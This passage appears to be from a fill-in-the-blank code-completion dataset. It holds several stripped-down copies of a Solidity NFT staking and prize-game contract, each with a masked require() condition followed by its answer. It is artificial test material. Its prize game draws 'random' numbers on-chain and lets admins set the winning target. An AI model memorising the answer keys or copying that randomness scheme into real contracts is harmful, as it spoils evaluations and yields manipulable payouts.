{ } function hasTokenBalance(uint256 _id, address _user) public view returns (uint8) { } function canPlay(uint256 _id) public view returns (bool, uint8) { uint8 _contractID = hasTokenBalance(_id, msg.sender); require(_contractID > 0, "You don't have that token"); if (_contractID == 1){ //contract A //need to add a total supply check require(<FILL_ME>) return (players[1][_id].nextPlay <= block.timestamp, 1); } if (_contractID == 2){ //contract B //need to add a total supply check require(canStakeChecker(false, _id), "Token Is Not Playable"); return (players[2][_id].nextPlay <= block.timestamp, 2); } if (_contractID == 3){ //contract Both //need to add a total supply check if (players[1][_id].nextPlay <= block.timestamp){ require(canStakeChecker(true, _id), "Token Is Not Playable"); return (true, 1); } if (players[2][_id].nextPlay <= block.timestamp){ require(canStakeChecker(false, _id), "Token Is Not Playable"); return (true, 2); } } return (false, 0); } function donateToPrizePool() public payable{ } /** @dev Admin can set the payout address. @param _address The address must be a wallet or a payment splitter contract. */ function setPayoutAddress(address _address) external onlyOwner{ } /** @dev Admin can pull funds to the payout address. */ function withdraw() public onlyAdmins { } /** @dev Admin can pull ERC20 funds to the payout address. */ function withdraw(address token, uint256 amount) public onlyAdmins { } /** @dev Auto send funds to the payout address. Triggers only if funds were sent directly to this address. */ receive() external payable { } /** * @dev Throws if called by any account other than the owner or admin. */ modifier onlyAdmins() { } /** * @dev Throws if the sender is not the owner or admin. */ function _checkAdmins() internal view virtual { } function checkIfAdmin() public view returns(bool) { } /** * @dev Owner and Project Leader can set the addresses as approved Admins. * Example: ["0xADDRESS1", "0xADDRESS2", "0xADDRESS3"] */ function setAdmins(address[] calldata _users) external { } /** * @dev Owner or Project Leader can set the address as new Project Leader. */ function setProjectLeader(address _user) external { } }
canStakeChecker(true,_id),"Token Is Not Playable"
98,986
canStakeChecker(true,_id)
"Token Is Not Playable"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol"; import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; /* █ ▄███▄ █ ▄▄ █▄▄▄▄ ▄███▄ ▄█▄ ▄ █ ██ ▄ ▄ ▄▄▄▄▀ ████▄ ▄ ▄ ▄ █ █▀ ▀ █ █ █ ▄▀ █▀ ▀ █▀ ▀▄ █ █ █ █ █ █ ▀▀▀ █ █ █ █ █ █ █ ██▄▄ █▀▀▀ █▀▀▌ ██▄▄ █ ▀ ██▀▀█ █▄▄█ █ █ ██ █ █ █ █ █ ▄ █ ██ █ ███▄ █▄ ▄▀ █ █ █ █▄ ▄▀ █▄ ▄▀ █ █ █ █ █ █ █ █ █ █ ▀████ █ █ █ █ █ █ ▀ ▀███▀ █ █ ▀███▀ ▀███▀ █ █ █▄ ▄█ █ █ █ ▀ █ █ █ █ █ █ ▀ ▀ ▀ █ ▀▀▀ █ ██ ▀ ▀ █ ██ ▀ ▄ ▄ ▄▄▄▄▀ ▄████ ▄▄▄▄▄ ▄▄▄▄▀ ██ █ █▀ ▄█ ▄ ▄▀ .-. .-. █ █ ▀▀▀ █ █▀ ▀ █ ▀▄ ▀▀▀ █ █ █ █▄█ ██ █ ▄▀ ( | ) █ ▄ █ █ █▀▀ ▄ ▀▀▀▀▄ █ █▄▄█ █▀▄ ██ ██ █ █ ▀▄ .-.: | ;,-. █ █ █ █ █ ▀▄▄▄▄▀ █ █ █ █ █ ▐█ █ █ █ █ █ (_ __`.|.'_ __) █ █ █ ▀ █ ▀ █ █ ▐ █ █ █ ███ ( ./Y\. ) ▀ ▀ ▀ █ ▀ █ ██ `-.-' | `-.-' \ 🌈 ☘️ + ⌛ = 💰 Original Collection LeprechaunTown_WTF : 0x360C8A7C01fd75b00814D6282E95eafF93837F27 */ /// @author developer's website 🐸 https://www.halfsupershop.com/ 🐸 contract LeprechaunTown_WTF_Staking is ERC20, ERC721Holder, ERC1155Holder, Ownable{ event PrizePoolWinner(address _winner, uint256 _prize, uint256 _gold); event DonationMade(address _donor, uint256 _amount); address payable public payments; address public projectLeader; // Project Leader Address address[] public admins; // List of approved Admins IERC721 public parentNFT_A; //main 721 NFT contract IERC1155 public parentNFT_B; //main 1155 NFT contract mapping(uint256 => address) public tokenOwnerOf_A; mapping(uint256 => uint256) public tokenStakedAt_A; mapping(uint256 => address) public tokenOwnerOf_B; mapping(uint256 => uint256) public tokenStakedAt_B; mapping(bool => mapping(uint256 => uint256)) public tokenBonus; struct Batch { bool stakable; uint256 min; uint256 max; uint256 bonus; } //maximum size of batchID array is 2^256-1 Batch[] public batchID_A; Batch[] public batchID_B; bool public pausedStake_A = true; bool public pausedStake_B = true; uint256 public total_A; uint256 public total_B; uint256 public stakedCount_A; uint256 public stakedCount_B; uint256 public limitPerSession = 10; uint256 public EMISSION_RATE = (4 * 10 ** decimals()) / 1 days; //rate of max 4 tokens per day(86400 seconds) //math for emission rate: EMISSION_RATE * 86400 = token(s) per day //uint256 private initialSupply = (10000 * 10 ** decimals()); //( 10000 )starting amount to mint to treasury in WEI uint256 public prizeFee = 0.0005 ether; uint256 public prizePool; uint256 public winningPercentage; uint256[] public goldPrizes; uint256 public randomCounter; uint256 public minRange = 0; uint256 public maxRange = 100; uint256 public targetNumber; struct Player { uint lastPlay; uint nextPlay; } mapping(uint8 => mapping(uint256 => Player)) public players; constructor(address _parentNFT_A, address _parentNFT_B) ERC20("$GOLD", "$GOLD") { } function setCollectionTotal(bool _contract_A, uint256 _total) public onlyAdmins { } function createModifyBatch(bool _create, uint256 _modifyID, bool _contract_A, bool _stakable, uint256 _min, uint256 _max, uint256 _bonus) external onlyAdmins { } function canStakeChecker(bool _contract_A, uint256 _id) public view returns(bool) { } function getBatchBonus(bool _contract_A, uint256 _id) public view returns(uint256) { } /** @dev Admin can set the bonus multiplier of a ID. */ function setTokenBonus(bool _contract_A, uint256 _id, uint256 _bonus) external onlyAdmins { } /** @dev Admin can set the limit of IDs per session. */ function setLimitPerSession(uint256 _limit) external onlyAdmins { } /** @dev Admin can set the EMISSION_RATE. */ function setEmissionRate(uint256 _RatePerDay) external onlyAdmins { } /** * @dev Admin can set the PAUSE state for contract A or B. * true = no staking allowed * false = staking allowed */ function pauseStaking(bool _contract_A, bool _state) public onlyAdmins { } /** * @dev User can stake NFTs they own to earn rewards over time. * Note: User must set this contract as approval for all on the parentNFT contracts in order to stake NFTs. * This function only stakes NFT IDs from the parentNFT_A or parentNFT_B contract. */ function stake(uint[] memory _tokenIDs, bool _contract_A) public { } function stakeOne(uint256 _tokenID, bool _contract_A) private { } function stakeMultiple(uint[] memory _tokenIDs, bool _contract_A) private { } /** * @dev User can check estimated rewards gained so far from an address that staked an NFT. * Note: The staker address must have an NFT currently staked. * The returned amount is calculated as Wei. * Use https://etherscan.io/unitconverter for conversions or do math returnedValue / (10^18) = reward estimate. */ function estimateRewards(uint[] memory _tokenIDs, bool _contract_A) public view returns (uint256) { } /** * @dev User can unstake NFTs to earn the rewards gained over time. * Note: User must have a NFT already staked in order to unstake and gain rewards. * This function only unstakes NFT IDs that they currently have staked. * Rewards are calculated based on the Emission_Rate. */ function unstake(uint[] memory _tokenIDs, bool _contract_A) public { } /** * @dev Allows Owner or Project Leader to set the parentNFT contracts to a specified address. * WARNING: Please ensure all users NFTs are unstaked before setting a new address */ function setStakingContract(bool _contract_A, address _contractAddress) external { } /** * @dev Returns the owner address of a specific token staked * Note: If address returned is 0x0000000000000000000000000000000000000000 token is not staked. */ function getTokenOwnerOf(bool _contract_A, uint256 _tokenID) public view returns(address){ } function isOwnerOfAllStaked(address _holder, bool _contract_A, uint[] memory _tokenIDs) public view returns(bool){ } /** * @dev Returns the unix date the token was staked */ function getStakedAt(bool _contract_A, uint256 _tokenID) public view returns(uint256){ } /** * @dev Returns the total amount of tokens staked */ function getTotalStaked() public view returns(uint256){ } /** * @dev Allows Admins to mint an amount of tokens to a specified address. * Note: _amount must be in WEI use https://etherscan.io/unitconverter for conversions. */ function mintTokens(address _to, uint256 _amount) external onlyAdmins { } /** @dev Set the minimum and maximum range values. @param _minRange The new minimum range value. @param _maxRange The new maximum range value. */ function setRange(uint256 _minRange, uint256 _maxRange) public onlyAdmins { } /** @dev Set the prize pool percentage the winner will receive. @param _percentage The new prize pool percentage. @param _prizeFee The new prize pool entry fee. @param _goldPrizes The new set of gold prizes. */ function setPrizePercentageAndFee(uint256 _percentage, uint256 _prizeFee, uint256[] memory _goldPrizes) public onlyAdmins { } /** @dev Set the target number that will determine the winner. @param _targetNumber The new target number. */ function setTargetNumber(uint256 _targetNumber) public onlyAdmins { } //determines if user has won function isWinner(uint _luckyNumber) internal view returns (bool) { } //"Randomly" returns a number >= _min and <= _max. function randomNumber(uint _min, uint _max, uint _luckyNumber) internal view returns (uint256) { } /** @dev Allows a user to play the Lucky Spin game by providing a lucky number and the ID of an ERC721 or ERC1155 token they hold or have staked. If the user holds the specified token and meets the requirements for playing again, a random number is generated to determine if they win the prize pool and/or a gold token prize. The payout is sent to the user's address and a PrizePoolWinner event is emitted. If the user does not win, they still receive a gold token prize. @param _luckyNumber The lucky number chosen by the user to play the game. @param _id The ID of the ERC721 or ERC1155 token that the user holds. */ function luckySpin(uint _luckyNumber, uint256 _id) public payable returns (bool) { } function hasTokenBalance(uint256 _id, address _user) public view returns (uint8) { } function canPlay(uint256 _id) public view returns (bool, uint8) { uint8 _contractID = hasTokenBalance(_id, msg.sender); require(_contractID > 0, "You don't have that token"); if (_contractID == 1){ //contract A //need to add a total supply check require(canStakeChecker(true, _id), "Token Is Not Playable"); return (players[1][_id].nextPlay <= block.timestamp, 1); } if (_contractID == 2){ //contract B //need to add a total supply check require(<FILL_ME>) return (players[2][_id].nextPlay <= block.timestamp, 2); } if (_contractID == 3){ //contract Both //need to add a total supply check if (players[1][_id].nextPlay <= block.timestamp){ require(canStakeChecker(true, _id), "Token Is Not Playable"); return (true, 1); } if (players[2][_id].nextPlay <= block.timestamp){ require(canStakeChecker(false, _id), "Token Is Not Playable"); return (true, 2); } } return (false, 0); } function donateToPrizePool() public payable{ } /** @dev Admin can set the payout address. @param _address The address must be a wallet or a payment splitter contract. */ function setPayoutAddress(address _address) external onlyOwner{ } /** @dev Admin can pull funds to the payout address. */ function withdraw() public onlyAdmins { } /** @dev Admin can pull ERC20 funds to the payout address. */ function withdraw(address token, uint256 amount) public onlyAdmins { } /** @dev Auto send funds to the payout address. Triggers only if funds were sent directly to this address. */ receive() external payable { } /** * @dev Throws if called by any account other than the owner or admin. */ modifier onlyAdmins() { } /** * @dev Throws if the sender is not the owner or admin. */ function _checkAdmins() internal view virtual { } function checkIfAdmin() public view returns(bool) { } /** * @dev Owner and Project Leader can set the addresses as approved Admins. * Example: ["0xADDRESS1", "0xADDRESS2", "0xADDRESS3"] */ function setAdmins(address[] calldata _users) external { } /** * @dev Owner or Project Leader can set the address as new Project Leader. */ function setProjectLeader(address _user) external { } }
canStakeChecker(false,_id),"Token Is Not Playable"
98,986
canStakeChecker(false,_id)
"Token transfer failed"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol"; import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; /* █ ▄███▄ █ ▄▄ █▄▄▄▄ ▄███▄ ▄█▄ ▄ █ ██ ▄ ▄ ▄▄▄▄▀ ████▄ ▄ ▄ ▄ █ █▀ ▀ █ █ █ ▄▀ █▀ ▀ █▀ ▀▄ █ █ █ █ █ █ ▀▀▀ █ █ █ █ █ █ █ ██▄▄ █▀▀▀ █▀▀▌ ██▄▄ █ ▀ ██▀▀█ █▄▄█ █ █ ██ █ █ █ █ █ ▄ █ ██ █ ███▄ █▄ ▄▀ █ █ █ █▄ ▄▀ █▄ ▄▀ █ █ █ █ █ █ █ █ █ █ ▀████ █ █ █ █ █ █ ▀ ▀███▀ █ █ ▀███▀ ▀███▀ █ █ █▄ ▄█ █ █ █ ▀ █ █ █ █ █ █ ▀ ▀ ▀ █ ▀▀▀ █ ██ ▀ ▀ █ ██ ▀ ▄ ▄ ▄▄▄▄▀ ▄████ ▄▄▄▄▄ ▄▄▄▄▀ ██ █ █▀ ▄█ ▄ ▄▀ .-. .-. █ █ ▀▀▀ █ █▀ ▀ █ ▀▄ ▀▀▀ █ █ █ █▄█ ██ █ ▄▀ ( | ) █ ▄ █ █ █▀▀ ▄ ▀▀▀▀▄ █ █▄▄█ █▀▄ ██ ██ █ █ ▀▄ .-.: | ;,-. █ █ █ █ █ ▀▄▄▄▄▀ █ █ █ █ █ ▐█ █ █ █ █ █ (_ __`.|.'_ __) █ █ █ ▀ █ ▀ █ █ ▐ █ █ █ ███ ( ./Y\. ) ▀ ▀ ▀ █ ▀ █ ██ `-.-' | `-.-' \ 🌈 ☘️ + ⌛ = 💰 Original Collection LeprechaunTown_WTF : 0x360C8A7C01fd75b00814D6282E95eafF93837F27 */ /// @author developer's website 🐸 https://www.halfsupershop.com/ 🐸 contract LeprechaunTown_WTF_Staking is ERC20, ERC721Holder, ERC1155Holder, Ownable{ event PrizePoolWinner(address _winner, uint256 _prize, uint256 _gold); event DonationMade(address _donor, uint256 _amount); address payable public payments; address public projectLeader; // Project Leader Address address[] public admins; // List of approved Admins IERC721 public parentNFT_A; //main 721 NFT contract IERC1155 public parentNFT_B; //main 1155 NFT contract mapping(uint256 => address) public tokenOwnerOf_A; mapping(uint256 => uint256) public tokenStakedAt_A; mapping(uint256 => address) public tokenOwnerOf_B; mapping(uint256 => uint256) public tokenStakedAt_B; mapping(bool => mapping(uint256 => uint256)) public tokenBonus; struct Batch { bool stakable; uint256 min; uint256 max; uint256 bonus; } //maximum size of batchID array is 2^256-1 Batch[] public batchID_A; Batch[] public batchID_B; bool public pausedStake_A = true; bool public pausedStake_B = true; uint256 public total_A; uint256 public total_B; uint256 public stakedCount_A; uint256 public stakedCount_B; uint256 public limitPerSession = 10; uint256 public EMISSION_RATE = (4 * 10 ** decimals()) / 1 days; //rate of max 4 tokens per day(86400 seconds) //math for emission rate: EMISSION_RATE * 86400 = token(s) per day //uint256 private initialSupply = (10000 * 10 ** decimals()); //( 10000 )starting amount to mint to treasury in WEI uint256 public prizeFee = 0.0005 ether; uint256 public prizePool; uint256 public winningPercentage; uint256[] public goldPrizes; uint256 public randomCounter; uint256 public minRange = 0; uint256 public maxRange = 100; uint256 public targetNumber; struct Player { uint lastPlay; uint nextPlay; } mapping(uint8 => mapping(uint256 => Player)) public players; constructor(address _parentNFT_A, address _parentNFT_B) ERC20("$GOLD", "$GOLD") { } function setCollectionTotal(bool _contract_A, uint256 _total) public onlyAdmins { } function createModifyBatch(bool _create, uint256 _modifyID, bool _contract_A, bool _stakable, uint256 _min, uint256 _max, uint256 _bonus) external onlyAdmins { } function canStakeChecker(bool _contract_A, uint256 _id) public view returns(bool) { } function getBatchBonus(bool _contract_A, uint256 _id) public view returns(uint256) { } /** @dev Admin can set the bonus multiplier of a ID. */ function setTokenBonus(bool _contract_A, uint256 _id, uint256 _bonus) external onlyAdmins { } /** @dev Admin can set the limit of IDs per session. */ function setLimitPerSession(uint256 _limit) external onlyAdmins { } /** @dev Admin can set the EMISSION_RATE. */ function setEmissionRate(uint256 _RatePerDay) external onlyAdmins { } /** * @dev Admin can set the PAUSE state for contract A or B. * true = no staking allowed * false = staking allowed */ function pauseStaking(bool _contract_A, bool _state) public onlyAdmins { } /** * @dev User can stake NFTs they own to earn rewards over time. * Note: User must set this contract as approval for all on the parentNFT contracts in order to stake NFTs. * This function only stakes NFT IDs from the parentNFT_A or parentNFT_B contract. */ function stake(uint[] memory _tokenIDs, bool _contract_A) public { } function stakeOne(uint256 _tokenID, bool _contract_A) private { } function stakeMultiple(uint[] memory _tokenIDs, bool _contract_A) private { } /** * @dev User can check estimated rewards gained so far from an address that staked an NFT. * Note: The staker address must have an NFT currently staked. * The returned amount is calculated as Wei. * Use https://etherscan.io/unitconverter for conversions or do math returnedValue / (10^18) = reward estimate. */ function estimateRewards(uint[] memory _tokenIDs, bool _contract_A) public view returns (uint256) { } /** * @dev User can unstake NFTs to earn the rewards gained over time. * Note: User must have a NFT already staked in order to unstake and gain rewards. * This function only unstakes NFT IDs that they currently have staked. * Rewards are calculated based on the Emission_Rate. */ function unstake(uint[] memory _tokenIDs, bool _contract_A) public { } /** * @dev Allows Owner or Project Leader to set the parentNFT contracts to a specified address. * WARNING: Please ensure all users NFTs are unstaked before setting a new address */ function setStakingContract(bool _contract_A, address _contractAddress) external { } /** * @dev Returns the owner address of a specific token staked * Note: If address returned is 0x0000000000000000000000000000000000000000 token is not staked. */ function getTokenOwnerOf(bool _contract_A, uint256 _tokenID) public view returns(address){ } function isOwnerOfAllStaked(address _holder, bool _contract_A, uint[] memory _tokenIDs) public view returns(bool){ } /** * @dev Returns the unix date the token was staked */ function getStakedAt(bool _contract_A, uint256 _tokenID) public view returns(uint256){ } /** * @dev Returns the total amount of tokens staked */ function getTotalStaked() public view returns(uint256){ } /** * @dev Allows Admins to mint an amount of tokens to a specified address. * Note: _amount must be in WEI use https://etherscan.io/unitconverter for conversions. */ function mintTokens(address _to, uint256 _amount) external onlyAdmins { } /** @dev Set the minimum and maximum range values. @param _minRange The new minimum range value. @param _maxRange The new maximum range value. */ function setRange(uint256 _minRange, uint256 _maxRange) public onlyAdmins { } /** @dev Set the prize pool percentage the winner will receive. @param _percentage The new prize pool percentage. @param _prizeFee The new prize pool entry fee. @param _goldPrizes The new set of gold prizes. */ function setPrizePercentageAndFee(uint256 _percentage, uint256 _prizeFee, uint256[] memory _goldPrizes) public onlyAdmins { } /** @dev Set the target number that will determine the winner. @param _targetNumber The new target number. */ function setTargetNumber(uint256 _targetNumber) public onlyAdmins { } //determines if user has won function isWinner(uint _luckyNumber) internal view returns (bool) { } //"Randomly" returns a number >= _min and <= _max. function randomNumber(uint _min, uint _max, uint _luckyNumber) internal view returns (uint256) { } /** @dev Allows a user to play the Lucky Spin game by providing a lucky number and the ID of an ERC721 or ERC1155 token they hold or have staked. If the user holds the specified token and meets the requirements for playing again, a random number is generated to determine if they win the prize pool and/or a gold token prize. The payout is sent to the user's address and a PrizePoolWinner event is emitted. If the user does not win, they still receive a gold token prize. @param _luckyNumber The lucky number chosen by the user to play the game. @param _id The ID of the ERC721 or ERC1155 token that the user holds. */ function luckySpin(uint _luckyNumber, uint256 _id) public payable returns (bool) { } function hasTokenBalance(uint256 _id, address _user) public view returns (uint8) { } function canPlay(uint256 _id) public view returns (bool, uint8) { } function donateToPrizePool() public payable{ } /** @dev Admin can set the payout address. @param _address The address must be a wallet or a payment splitter contract. */ function setPayoutAddress(address _address) external onlyOwner{ } /** @dev Admin can pull funds to the payout address. */ function withdraw() public onlyAdmins { } /** @dev Admin can pull ERC20 funds to the payout address. */ function withdraw(address token, uint256 amount) public onlyAdmins { require(token != address(0), "Invalid token address"); IERC20 erc20Token = IERC20(token); uint256 balance = erc20Token.balanceOf(address(this)); require(amount <= balance, "Insufficient balance"); require(<FILL_ME>) } /** @dev Auto send funds to the payout address. Triggers only if funds were sent directly to this address. */ receive() external payable { } /** * @dev Throws if called by any account other than the owner or admin. */ modifier onlyAdmins() { } /** * @dev Throws if the sender is not the owner or admin. */ function _checkAdmins() internal view virtual { } function checkIfAdmin() public view returns(bool) { } /** * @dev Owner and Project Leader can set the addresses as approved Admins. * Example: ["0xADDRESS1", "0xADDRESS2", "0xADDRESS3"] */ function setAdmins(address[] calldata _users) external { } /** * @dev Owner or Project Leader can set the address as new Project Leader. */ function setProjectLeader(address _user) external { } }
erc20Token.transfer(payments,amount),"Token transfer failed"
98,986
erc20Token.transfer(payments,amount)
"Admin Only: caller is not an admin"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol"; import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; /* █ ▄███▄ █ ▄▄ █▄▄▄▄ ▄███▄ ▄█▄ ▄ █ ██ ▄ ▄ ▄▄▄▄▀ ████▄ ▄ ▄ ▄ █ █▀ ▀ █ █ █ ▄▀ █▀ ▀ █▀ ▀▄ █ █ █ █ █ █ ▀▀▀ █ █ █ █ █ █ █ ██▄▄ █▀▀▀ █▀▀▌ ██▄▄ █ ▀ ██▀▀█ █▄▄█ █ █ ██ █ █ █ █ █ ▄ █ ██ █ ███▄ █▄ ▄▀ █ █ █ █▄ ▄▀ █▄ ▄▀ █ █ █ █ █ █ █ █ █ █ ▀████ █ █ █ █ █ █ ▀ ▀███▀ █ █ ▀███▀ ▀███▀ █ █ █▄ ▄█ █ █ █ ▀ █ █ █ █ █ █ ▀ ▀ ▀ █ ▀▀▀ █ ██ ▀ ▀ █ ██ ▀ ▄ ▄ ▄▄▄▄▀ ▄████ ▄▄▄▄▄ ▄▄▄▄▀ ██ █ █▀ ▄█ ▄ ▄▀ .-. .-. █ █ ▀▀▀ █ █▀ ▀ █ ▀▄ ▀▀▀ █ █ █ █▄█ ██ █ ▄▀ ( | ) █ ▄ █ █ █▀▀ ▄ ▀▀▀▀▄ █ █▄▄█ █▀▄ ██ ██ █ █ ▀▄ .-.: | ;,-. █ █ █ █ █ ▀▄▄▄▄▀ █ █ █ █ █ ▐█ █ █ █ █ █ (_ __`.|.'_ __) █ █ █ ▀ █ ▀ █ █ ▐ █ █ █ ███ ( ./Y\. ) ▀ ▀ ▀ █ ▀ █ ██ `-.-' | `-.-' \ 🌈 ☘️ + ⌛ = 💰 Original Collection LeprechaunTown_WTF : 0x360C8A7C01fd75b00814D6282E95eafF93837F27 */ /// @author developer's website 🐸 https://www.halfsupershop.com/ 🐸 contract LeprechaunTown_WTF_Staking is ERC20, ERC721Holder, ERC1155Holder, Ownable{ event PrizePoolWinner(address _winner, uint256 _prize, uint256 _gold); event DonationMade(address _donor, uint256 _amount); address payable public payments; address public projectLeader; // Project Leader Address address[] public admins; // List of approved Admins IERC721 public parentNFT_A; //main 721 NFT contract IERC1155 public parentNFT_B; //main 1155 NFT contract mapping(uint256 => address) public tokenOwnerOf_A; mapping(uint256 => uint256) public tokenStakedAt_A; mapping(uint256 => address) public tokenOwnerOf_B; mapping(uint256 => uint256) public tokenStakedAt_B; mapping(bool => mapping(uint256 => uint256)) public tokenBonus; struct Batch { bool stakable; uint256 min; uint256 max; uint256 bonus; } //maximum size of batchID array is 2^256-1 Batch[] public batchID_A; Batch[] public batchID_B; bool public pausedStake_A = true; bool public pausedStake_B = true; uint256 public total_A; uint256 public total_B; uint256 public stakedCount_A; uint256 public stakedCount_B; uint256 public limitPerSession = 10; uint256 public EMISSION_RATE = (4 * 10 ** decimals()) / 1 days; //rate of max 4 tokens per day(86400 seconds) //math for emission rate: EMISSION_RATE * 86400 = token(s) per day //uint256 private initialSupply = (10000 * 10 ** decimals()); //( 10000 )starting amount to mint to treasury in WEI uint256 public prizeFee = 0.0005 ether; uint256 public prizePool; uint256 public winningPercentage; uint256[] public goldPrizes; uint256 public randomCounter; uint256 public minRange = 0; uint256 public maxRange = 100; uint256 public targetNumber; struct Player { uint lastPlay; uint nextPlay; } mapping(uint8 => mapping(uint256 => Player)) public players; constructor(address _parentNFT_A, address _parentNFT_B) ERC20("$GOLD", "$GOLD") { } function setCollectionTotal(bool _contract_A, uint256 _total) public onlyAdmins { } function createModifyBatch(bool _create, uint256 _modifyID, bool _contract_A, bool _stakable, uint256 _min, uint256 _max, uint256 _bonus) external onlyAdmins { } function canStakeChecker(bool _contract_A, uint256 _id) public view returns(bool) { } function getBatchBonus(bool _contract_A, uint256 _id) public view returns(uint256) { } /** @dev Admin can set the bonus multiplier of a ID. */ function setTokenBonus(bool _contract_A, uint256 _id, uint256 _bonus) external onlyAdmins { } /** @dev Admin can set the limit of IDs per session. */ function setLimitPerSession(uint256 _limit) external onlyAdmins { } /** @dev Admin can set the EMISSION_RATE. */ function setEmissionRate(uint256 _RatePerDay) external onlyAdmins { } /** * @dev Admin can set the PAUSE state for contract A or B. * true = no staking allowed * false = staking allowed */ function pauseStaking(bool _contract_A, bool _state) public onlyAdmins { } /** * @dev User can stake NFTs they own to earn rewards over time. * Note: User must set this contract as approval for all on the parentNFT contracts in order to stake NFTs. * This function only stakes NFT IDs from the parentNFT_A or parentNFT_B contract. */ function stake(uint[] memory _tokenIDs, bool _contract_A) public { } function stakeOne(uint256 _tokenID, bool _contract_A) private { } function stakeMultiple(uint[] memory _tokenIDs, bool _contract_A) private { } /** * @dev User can check estimated rewards gained so far from an address that staked an NFT. * Note: The staker address must have an NFT currently staked. * The returned amount is calculated as Wei. * Use https://etherscan.io/unitconverter for conversions or do math returnedValue / (10^18) = reward estimate. */ function estimateRewards(uint[] memory _tokenIDs, bool _contract_A) public view returns (uint256) { } /** * @dev User can unstake NFTs to earn the rewards gained over time. * Note: User must have a NFT already staked in order to unstake and gain rewards. * This function only unstakes NFT IDs that they currently have staked. * Rewards are calculated based on the Emission_Rate. */ function unstake(uint[] memory _tokenIDs, bool _contract_A) public { } /** * @dev Allows Owner or Project Leader to set the parentNFT contracts to a specified address. * WARNING: Please ensure all users NFTs are unstaked before setting a new address */ function setStakingContract(bool _contract_A, address _contractAddress) external { } /** * @dev Returns the owner address of a specific token staked * Note: If address returned is 0x0000000000000000000000000000000000000000 token is not staked. */ function getTokenOwnerOf(bool _contract_A, uint256 _tokenID) public view returns(address){ } function isOwnerOfAllStaked(address _holder, bool _contract_A, uint[] memory _tokenIDs) public view returns(bool){ } /** * @dev Returns the unix date the token was staked */ function getStakedAt(bool _contract_A, uint256 _tokenID) public view returns(uint256){ } /** * @dev Returns the total amount of tokens staked */ function getTotalStaked() public view returns(uint256){ } /** * @dev Allows Admins to mint an amount of tokens to a specified address. * Note: _amount must be in WEI use https://etherscan.io/unitconverter for conversions. */ function mintTokens(address _to, uint256 _amount) external onlyAdmins { } /** @dev Set the minimum and maximum range values. @param _minRange The new minimum range value. @param _maxRange The new maximum range value. */ function setRange(uint256 _minRange, uint256 _maxRange) public onlyAdmins { } /** @dev Set the prize pool percentage the winner will receive. @param _percentage The new prize pool percentage. @param _prizeFee The new prize pool entry fee. @param _goldPrizes The new set of gold prizes. */ function setPrizePercentageAndFee(uint256 _percentage, uint256 _prizeFee, uint256[] memory _goldPrizes) public onlyAdmins { } /** @dev Set the target number that will determine the winner. @param _targetNumber The new target number. */ function setTargetNumber(uint256 _targetNumber) public onlyAdmins { } //determines if user has won function isWinner(uint _luckyNumber) internal view returns (bool) { } //"Randomly" returns a number >= _min and <= _max. function randomNumber(uint _min, uint _max, uint _luckyNumber) internal view returns (uint256) { } /** @dev Allows a user to play the Lucky Spin game by providing a lucky number and the ID of an ERC721 or ERC1155 token they hold or have staked. If the user holds the specified token and meets the requirements for playing again, a random number is generated to determine if they win the prize pool and/or a gold token prize. The payout is sent to the user's address and a PrizePoolWinner event is emitted. If the user does not win, they still receive a gold token prize. @param _luckyNumber The lucky number chosen by the user to play the game. @param _id The ID of the ERC721 or ERC1155 token that the user holds. */ function luckySpin(uint _luckyNumber, uint256 _id) public payable returns (bool) { } function hasTokenBalance(uint256 _id, address _user) public view returns (uint8) { } function canPlay(uint256 _id) public view returns (bool, uint8) { } function donateToPrizePool() public payable{ } /** @dev Admin can set the payout address. @param _address The address must be a wallet or a payment splitter contract. */ function setPayoutAddress(address _address) external onlyOwner{ } /** @dev Admin can pull funds to the payout address. */ function withdraw() public onlyAdmins { } /** @dev Admin can pull ERC20 funds to the payout address. */ function withdraw(address token, uint256 amount) public onlyAdmins { } /** @dev Auto send funds to the payout address. Triggers only if funds were sent directly to this address. */ receive() external payable { } /** * @dev Throws if called by any account other than the owner or admin. */ modifier onlyAdmins() { } /** * @dev Throws if the sender is not the owner or admin. */ function _checkAdmins() internal view virtual { require(<FILL_ME>) } function checkIfAdmin() public view returns(bool) { } /** * @dev Owner and Project Leader can set the addresses as approved Admins. * Example: ["0xADDRESS1", "0xADDRESS2", "0xADDRESS3"] */ function setAdmins(address[] calldata _users) external { } /** * @dev Owner or Project Leader can set the address as new Project Leader. */ function setProjectLeader(address _user) external { } }
checkIfAdmin(),"Admin Only: caller is not an admin"
98,986
checkIfAdmin()
"Over Max Supply Per Wallet"
